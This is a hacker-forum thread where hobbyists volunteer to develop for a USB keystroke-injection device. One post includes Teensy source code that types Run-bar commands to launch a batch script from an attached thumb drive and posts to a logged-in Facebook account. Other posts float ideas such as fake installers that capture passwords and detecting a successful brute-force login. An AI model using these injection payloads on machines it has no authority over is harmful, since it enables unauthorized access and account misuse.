Jump to content

[Version 1] How To Become A Developer


Michael

Recommended Posts

i love this thing, always thought about a way to automate stuff without having to add something to the machine im on, did it some time ago with the warrior chips if you can remember them.

i would develop a password generator linked to the exact time of day to generate passwords that change every minute by scheduled tasks or something :) just have to keep the time on the thingy in sync. but at least a daily changing password algorythm would be easily possible.

if i im not with the first 100 i will buy the teensy straight away :)

Edited by jrsmile
Link to comment
Share on other sites

  • Replies 90
  • Created
  • Last Reply

Top Posters In This Topic

What I wonder is which Teensy Darren is putting in the kit.

The ducky had a 2.0 but the lil packs looked long enough to be 2.0++.

Link to comment
Share on other sites

As everyone else is posting here, I will do the same:) ; I have about a 5 year programming experience in C,C++,Php,Java and Python. I have also developed on microchip PIC18F microcontroller , on 8051 and on motorola 68000 series microprocessors (Both on C and assembly).

Edited by jbfuzier
Link to comment
Share on other sites

This is a great project, I love the community aspect.

Just seen that the link isn't live yet, but would like to develop for the ducky. I have coding experience in c, c#, c++(main language), Objective-C, python, Assembly and lisp (don't make fun of lisp) ;-) also qualifications / experience with electronic systems.

Hope I am considered,

Thanks

Link to comment
Share on other sites

eh might as well join the bandwagon:

I've had interest in the arduino development board for some time and as soon as Darren explained how the ducky worked I instantly wanted one.

I've written a program in VB.net used by the electronics department of my school to create shows for a JVF 2010a signboard so I understand the fundamental structures of programing. I've only used c in a few occasions but my lack of experience is because I've not a had a real good way of practicing with it. The teensy in my opinion would be the perfect way to get intimate with the language.

ps I also have several spare boxes ranging from 1995-2008 that would be perfect for testing the type speeds and possibly trying out interfacing with other port types.

edit: I forgot to add that I'm currently in the second year of the Electronic Engineering Technologies program at my college and that at my high school I'm currently the lead controls troubleshooter for the Competition our electric car we will be entering into in may. Also in the high school class we're just months away from taking the associate certification for the ETA-i.

Edited by Jerico_Tyler
Link to comment
Share on other sites

Just registered on the forums just now. Emailed and signed up at the url as well.

Small introduction; Actionscript/Java/PHP/Ruby/Objective-C/C++ programmer, never done much hardware or electronics except for controlling an Ambx lighting set. Pluspoint for me, I wrote an irc bot called Ducky years ago and it's still running.

Creativity sparks well, already got 2 concepts going in my head.

Link to comment
Share on other sites

Howdy,

I absolutely love the idea of this project. Not only is it a brilliant exploit, it's also very expandable.

The Teensy 2.0 (even the Teensy++ 2.0) is a nice little development system and a great alternative to Arduino's hardware, but the ATMega32U4 is limited to a mere 16MHz, 32kB FLASH, and 2.5kB RAM, and a few peripherals (which should suffice, actually). There are a number of other microcontrollers out there that could increase the amount of awesome that could be accomplished.

For example, the AVR32 series from ATMEL has a lot more oomph behind it. The AT32UC3A0128 part features up to 91 MIPS at 66MHz, 12Mbps USB support, 10/100 ethernet, an EBI interface for external SRAM/SDRAM (128Mb+ external - though GCC is limited to 64kB due to a 16-bit address without hardware tricks; might be different for AVR32-GCC though). And, best of all about the AVR32? It's got enough resources for eLUA (Embedded LUA). Like Darren mentioned in the episode, you could include a SDHC card with plenty of storage, and simply dump LUA scripts onto the card which will get executed on startup. A couple DIP switches and you can select specific scripts for a needed application.

And, if you want to go completely overboard on performance, hacking a BeagleBoard into a slightly larger rubber duck could yield over 1,200 MIPS from its ARM Cortex-A8 600MHz processor, 128MB onboard RAM, 256MB NAND FLASH, SD Card, and other fun goodies for only $150. Oh, it's also got HDMI/DVI output which could be used as a small interface for the duck. The BeagleBoard can even run linux which could be used to execute Python scripts, etc. Oh the joy that could be had.

Cheers,

-robodude666

Link to comment
Share on other sites

Got signed up, been waiting about 10 hours for this lol. Hope I make the cut, and didn't stay up for 24 hours for nothing lol. Good luck to everyone else too. Im really happy to see so much support for this so quickly!! Now its time to take a nap..

Link to comment
Share on other sites

I'd like to work on an OS X version (Both client and server) because I wan to show people how insecure OS X is when it comes to physical access and because I am a total ninja on AppleScript, I made something /like/ that used a macro keyboard and came up with a dummy "driver" installer file (Because users put in their password no questions), however it required you to press the button that poped up the installer.

I also came up with a theory that the duck can also do things on the xbox (Including buying stuff from xbox live or playing Rock Band by fiddling with the USB ID) but the menus are slow so it's not as invisable, I'l look into making it work with the PS3 but the 360 has keyboard support in the dashboard.

Lastly I'd like to apologize for being inactive in the community for the past year, school is hard work but it's almost all over, I'l make it up to you guys.

Edited by nxt471
Link to comment
Share on other sites

I've got some of my code, and notes, here:

http://www.irongeek.com/i.php?page=securit...eystroke-dongle

Also, I'm working on a basic library of functions, but to give you an idea of how simple it is to code for the Teensy, here is some source (note, it does a lot of stuff, including driving an RGB LED):

/*
  The following is Irongeek's diag code
 To learn more about Teensyduino see:
http://www.pjrc.com/teensy/teensyduino.html
 Look in arduino-xxxx\hardware\teensy\cores\tensy_hid\usb_api.h for key definitions
 Edit arduino-xxxx\hardware\teensy\cores\tensy_hid\usb_private.h to change USB Vendor and Product ID
 */

// The setup() method runs once, when the sketch starts
int thispin;
int PhotoRead = analogRead(0);
int OldPhotoRead = PhotoRead;
int ledPin =  11;   
int redPin =  15;
int greenPin =  12;
int bluePin =  14;
int redIntensity = 0;
int greenIntensity = 128;
int blueIntensity = 128;
int rRate = 1;
int gRate = -1;
int bRate = 1;

int DIP_0 = 2;
int DIP_1 = 3;
int DIP_2 = 4;
int DIP_3 = 5;
int DIP_4 = 6;
int DIP_5 = 7;
int DIP_6 = 8;
int DIP_7 = 9;
int DIP_8 = 10;


void setup()   {                
  // initialize the digital pin as an output:
  for (int thispin=0; thispin <=10;thispin++){
    pinMode(thispin, INPUT_PULLUP); // Dip
  }
  pinMode(ledPin, OUTPUT);     
}

// the loop() method runs over and over again,
// as long as the Arduino has power

void loop()                     
{
  //delay(250);
  if (!digitalRead(0)) {
    ShowDiag();
    RGBLEDOff();
  }

  //Please note: I use negative logic here, when a pin goes to ground the code us run.
  PhotoRead = analogRead(0);
  if (!digitalRead(DIP_1)) {
    if (abs(PhotoRead - OldPhotoRead) > 50 ) {
      LightDiag();
    }
  }

  /* This section sends a command to the run bar, finds the drive letter by its volume name (MYTHUMB in
   this example, and case sensitive), then runs your script. Thanks to Tim Medin for this more
   elegant command line then what I had for finding the
   thumbdrive by volume name.
   */
  if (!digitalRead(DIP_2)) {
    if (abs(PhotoRead - OldPhotoRead) > 50 ) {
      CommandAtRunBar("cmd /c for /F %i in ('WMIC logicaldisk where \"DriveType=2\" list brief ^| find \"MYTHUMB\"') do %i\\myscript.bat");
      delay(2000);
      ShrinkCurWin();
    }  
  }

  if (!digitalRead(DIP_3)) {    
    WindowsLockStation();
  }

  if (!digitalRead(DIP_4)) {    
    MouseWiggle();
  }

  if (!digitalRead(DIP_5)) {    
    WebIG();
  }
    if (!digitalRead(DIP_6)) {    
    FacebookPost("Test from Phukd device, more info at http://www.irongeek.com/i.php?page=securit...-dongle");
  }
  if (!digitalRead(DIP_7)) {    
    DoRGBStuff();
  }

  if (!digitalRead(DIP_8)) {
    DoCOPStuff();
  }

  digitalWrite(ledPin, LOW);  

}

//********************************************************************
//********************************************************************
void CommandAtRunBar(char *SomeCommand){
  //digitalWrite(ledPin, HIGH);   // set the LED on
  Keyboard.set_modifier(128); //Windows key
  Keyboard.set_key1(KEY_R); // use r key
  Keyboard.send_now(); // send strokes
  Keyboard.set_modifier(0); //prep release of  control keys
  Keyboard.set_key1(0); //have to do this to keep it from hitting key multiple times.
  Keyboard.send_now(); //Send the key changes
  delay(1500);
  Keyboard.print(SomeCommand);
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();    
  Keyboard.set_key1(0);
  Keyboard.send_now();  
}
//********************************************************************

//********************************************************************
void ShrinkCurWin(){
  Keyboard.set_modifier(MODIFIERKEY_ALT);
  Keyboard.set_key1(KEY_SPACE);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();  
  Keyboard.print("n");
}
//********************************************************************

//********************************************************************
void PressAndRelease(int KeyCode,int KeyCount){
  int KeyCounter=0;
  for (KeyCounter=0;  KeyCounter!=KeyCount; KeyCounter++){
    Keyboard.set_key1(KeyCode); // use r key
    Keyboard.send_now(); // send strokes
    Keyboard.set_key1(0);
    Keyboard.send_now(); // send strokes
  }
}
//********************************************************************

//********************************************************************
void ShowDiag(){
  //digitalWrite(ledPin, HIGH);
  for (int thispin=0; thispin <11;thispin++){

    if (!digitalRead(thispin)) {
      //digitalWrite(ledPin, HIGH);   // set the LED on

        Keyboard.print(thispin);
      Keyboard.println(" is low");
    }
    else{
      //Keyboard.print(thispin);
      //Keyboard.println(" is high");
    }
  }
  Keyboard.print("analog pin 8 is: ");
  Keyboard.println(PhotoRead);
}
//********************************************************************

//********************************************************************
void DoRGBStuff(){
  // Begin RGB Code   
  analogWrite(redPin, redIntensity);
  analogWrite(greenPin,greenIntensity);
  analogWrite(bluePin, blueIntensity);
  // remain at this color, but not for very long
  delay(10);
  redIntensity = redIntensity + rRate;
  greenIntensity = greenIntensity + gRate;
  blueIntensity = blueIntensity + bRate;
  if (redIntensity == 255) {
    rRate = -1;
  }
  if (redIntensity == 0) {
    rRate = 1;
  }
  if (greenIntensity == 255) {
    gRate = -1;
  }
  if (greenIntensity == 0) {
    gRate = 1;
  }
  if (blueIntensity == 255) {
    bRate = -1;
  }
  if (blueIntensity == 0) {
    bRate = 1;
  }
  // End RGB Code
}
//********************************************************************

//********************************************************************
void DoCOPStuff(){
  // Begin RGB Code   
  analogWrite(redPin, 255);
  analogWrite(greenPin,0);
  analogWrite(bluePin, 0);
  delay(50);
  analogWrite(redPin, 0);
  analogWrite(greenPin,255);
  analogWrite(bluePin, 0);
  delay(50);
  analogWrite(redPin, 0);
  analogWrite(greenPin,0);
  analogWrite(bluePin, 255);
  delay(50);
  // End RGB Code
}
//********************************************************************

//********************************************************************
void RGBLEDOff(){
  analogWrite(redPin, 0);
  analogWrite(greenPin,0);
  analogWrite(bluePin, 0);
}
//********************************************************************

//********************************************************************
void LightDiag(){
  digitalWrite(ledPin, HIGH);   // set the LED on
  CommandAtRunBar("notepad.exe");
  delay(1000);
  Keyboard.print("Movement! Current light: ");
  Keyboard.print(PhotoRead);
  Keyboard.print(" Old light: ");
  Keyboard.println(OldPhotoRead);
  PressAndRelease(KEY_F5,1);
  OldPhotoRead = analogRead(0);
}
//********************************************************************

//********************************************************************
//Locks the workstaion if you are in Windows
void WindowsLockStation(){
  digitalWrite(ledPin, HIGH);   // set the LED on
  Keyboard.set_modifier(MODIFIERKEY_CTRL|MODIFIERKEY_ALT);
  Keyboard.set_key1(KEY_DELETE); // use delete key
  Keyboard.send_now(); // send strokes
  Keyboard.set_modifier(0); //prep release of  control keys
  Keyboard.set_key1(KEY_ENTER); 
  delay(1500);
  Keyboard.send_now(); //Send the key changes
  Keyboard.set_key1(0); 
  Keyboard.send_now();
}
//********************************************************************
//********************************************************************
//Moves the mouse around and clicks to be annoying 
void MouseWiggle(){
  digitalWrite(ledPin, HIGH);   // set the LED on
  Mouse.move(random(-100, 100) ,random(-100, 100) );
  Mouse.click();
}
//********************************************************************
//********************************************************************
//Opens a browser to http://irongeek.com
void WebIG(){
  digitalWrite(ledPin, HIGH);   // set the LED on
  CommandAtRunBar("cmd /c start http://irongeek.com");
}
//********************************************************************
//********************************************************************
//Make a facebook post, assumes the person is logged in.
void FacebookPost(char *SomeString){
  digitalWrite(ledPin, HIGH);   // set the LED on
  CommandAtRunBar("cmd /c start http://m.facebook.com");
  delay(6000);
  PressAndRelease(KEY_TAB, 8);
  Keyboard.print(SomeString);
  PressAndRelease(KEY_TAB, 1);
  PressAndRelease(KEY_ENTER, 1);
}
//********************************************************************


Link to comment
Share on other sites

Count me in!

Im an embedded programmer, got experience with arduino and with atmegas in general, mainly remote triggering (camera flashes) projects.

Im looking into adding a RF capability to ducky.. remotely trigerring the device. also i can implement the sdcard interfacing (via spi mode).

Link to comment
Share on other sites

That reminds me, I've adding a photoresistor makes for an easy motion sensor. I've also set mine up to use a reed switch so I can use a magnet to set it off.

Now THAT is a good idea, I was just going for a few LEDs and touch sensors but that got me thinking about adding some more sensors including a sound sensor, clap to pwn anyone?

You could also have a key that tells the teensy to do it's pwning but that may not fit inside the duck shell, you could, however, put it inside a staples "easy" button, fitting it inside a USB hub or a even in a real mouse.

Link to comment
Share on other sites

Hi. First post here.

I watched new episode and interested immediately. I've got my first Arduino few weeks ago and Teensy seems to be compatible with it.

Link to comment
Share on other sites

This Project sounds extremly interesting! I would love to get my hands on this.

I wonder how we could address a usb-device attachted together with the Ducky.

Afaik it is possible to allow only a list of known hardware id´s to be mounted as usb storage in linux, anyone knows a project working with this stuff in windows?

Link to comment
Share on other sites

That reminds me, I've adding a photoresistor makes for an easy motion sensor. I've also set mine up to use a reed switch so I can use a magnet to set it off.

I toyed with a photoresistor connected to a suction cup so that the teensy could tell when the screen changed significantly. The idea was to use the suction cup to attach the resistor to the screen over top of the login screen, then the teensy would know when the brute force was successful.

never managed to get it working right.

Link to comment
Share on other sites

I cannot wait to get ahold of one of these. Been working with microcontrollers for a few years now and see a lot of potential with all of these with a bunch of sensors hooked up like others had already mentioned. I just hope I never have to be on the other end of these at work.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.

×
×
  • Create New...